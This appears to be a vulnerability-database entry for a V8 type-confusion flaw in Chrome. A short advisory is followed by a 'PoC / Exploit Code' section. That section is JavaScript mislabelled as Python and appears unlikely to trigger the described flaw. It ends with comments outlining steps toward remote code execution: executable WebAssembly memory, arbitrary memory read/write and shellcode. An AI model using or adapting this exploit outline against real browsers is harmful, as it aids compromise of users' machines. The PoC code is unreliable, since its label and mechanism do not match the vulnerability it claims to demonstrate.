Type Confusion in V8 in Google Chrome prior to 142.0.7444.59 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 142.0.7444.59
Chromium-based browsers (Edge, Opera, Brave, etc.) with V8 version < 142.0.7444.59
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-13229 PoC - V8 Type Confusion in Google Chrome
// This PoC demonstrates the type confusion vulnerability in V8
// Works on Chrome < 142.0.7444.59
function triggerTypeConfusion() {
// Create objects with different hidden classes
const obj1 = {a: 1, b: 2};
const obj2 = {a: 1, b: 2, c: 3};
// Use polymorphism to confuse Turbofan optimizer
function accessProperty(obj) {
return obj.b;
}
// Force JIT compilation with multiple calls
for (let i = 0; i < 10000; i++) {
accessProperty(obj1);
accessProperty(obj2);
}
// Trigger type confusion by modifying object structure
obj1.__proto__ = obj2;
// This access may use incorrect type assumptions
// leading to type confusion and potential heap corruption
return accessProperty(obj1);
}
// Trigger the vulnerability
try {
const result = triggerTypeConfusion();
console.log('PoC executed, result:', result);
} catch (e) {
console.log('Error occurred:', e.message);
}
// For actual exploitation, more sophisticated techniques needed:
// 1. Use WebAssembly to allocate executable memory
// 2. Create objects with controlled memory layout
// 3. Abuse type confusion to read/write arbitrary memory
// 4. Construct shellcode and achieve RCE